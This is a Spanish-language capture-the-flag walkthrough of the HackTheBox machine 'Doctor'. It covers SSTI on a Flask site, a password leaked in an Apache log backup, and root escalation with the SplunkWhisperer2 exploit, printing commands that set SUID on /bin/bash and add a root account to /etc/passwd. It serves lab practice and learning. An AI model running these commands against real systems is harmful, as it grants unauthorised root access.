HackTheBox - Doctor
Máquina Linux de nivel Easy de HackTheBox.
Técnicas usadas: SSTI, SplunkWhisperer2, Information Leakage
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos en la Máquina Doctor
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
Añadimos el host
doctors.htben el archivo/etc/hosts
c. Inspeccionamos el sitio http://doctor.htb y registramos una cuenta.
El uso de Flask lo hace propenso a un
SSTI
- Al no obtener un
49como respuesta, indagamos en el código fuente de la página web, aquí, nos encontramos con un comentario que menciona una ruta que sea encuentra en ‘beta’
- Visitamos esta nueva ruta e inspeccionamos su código fuente
El payload es interpretado por lo cual el ataque
SSTIfunciona.
d. Nos encontablaremos una reverse shell STTI - RCE
Escalada de Privilegios 💹
a. Vemos los grupos a los que pertenecemos
1
2
web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
El grupo
admestá autorizado para ver archivos logs.
- En el directorio
/var/log/apache2existe un archivobackupel cual no es usual, por lo que lo leemos en busca de alguna contraseña
1
2
web@doctor:/var/log/apache2$ grep -i 'pass' backup
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
b. Obtenemos la contraseña Guitar123 y tenemos otro usuario en el sistema shaun, intentamos convertirnos en este usuario
1
2
3
web@doctor:/var/log/apache2$ su shaun
Password: Guitar123
shaun@doctor:/var/log/apache2$
e. Al no encontrar una forma de escalar privilegios, visitamos el otro sitio web que estaba disponible https://<IP Doctor>:8089
- Visitamos cada uno de los módulos, estos requieren de auntenticación, por lo que intentamos loguearnos con las credenciales
shaun:Guitar123 - El módulo que contiene información interesante es
servicesy si visitamos la ruta/services/admin/usersveremos queshaunes administrador del sistema.
f. Buscamos vulnerabilidades asociadas a splunk SplunkWhisperer2 y Splunk - HackTricks
- Una vez descargado el exploit podemos ejecutar comandos como
root
1
> python PySplunkWhisperer2_remote.py --host [IP Doctor] --port 8089 --lhost [tun0 IP] --username shaun --password Guitar123 --payload "chmod +s /bin/bash"
Con esto la bash ya tiene el permiso
SUIDy podemos spawnear una comoroot1 2 3 4 5
shaun@doctor:/var/log/apache2$ ls -la /bin/bash -rwsr-sr-x 1 root root 1183448 Jun 18 2020 /bin/bash shaun@doctor:/var/log/apache2$ bash -p bash-5.0# whoami root
También podemos agregar un usuario en el fichero
/etc/passwd
1
2
3
4
5
6
7
> openssl passwd hola
$1$EHU.NHFo$95A.r07oTWCErDLLwtbV9.
> python PySplunkWhisperer2_remote.py --host [IP Doctor] --port 8089 --lhost [tun0 IP] --username shaun --password Guitar123 "echo 'testing:\$1\$EHU.NHFo\$95A.r07oTWCErDLLwtbV9.:0:0::/home:/bin/bash' >> /etc/passwd"
<SNIP>
[ENTER]
Si nos convertimos en
testingtendremos una shell comoroot1 2 3 4 5
shaun@doctor:/var/log/apache2$ tail -n 1 /etc/passwd testing:$1$EHU.NHFo$95A.r07oTWCErDLLwtbV9.:0:0::/home:/bin/bash shaun@doctor:/var/log/apache2$ su testing Password: hola root@doctor:/var/log/apache2#









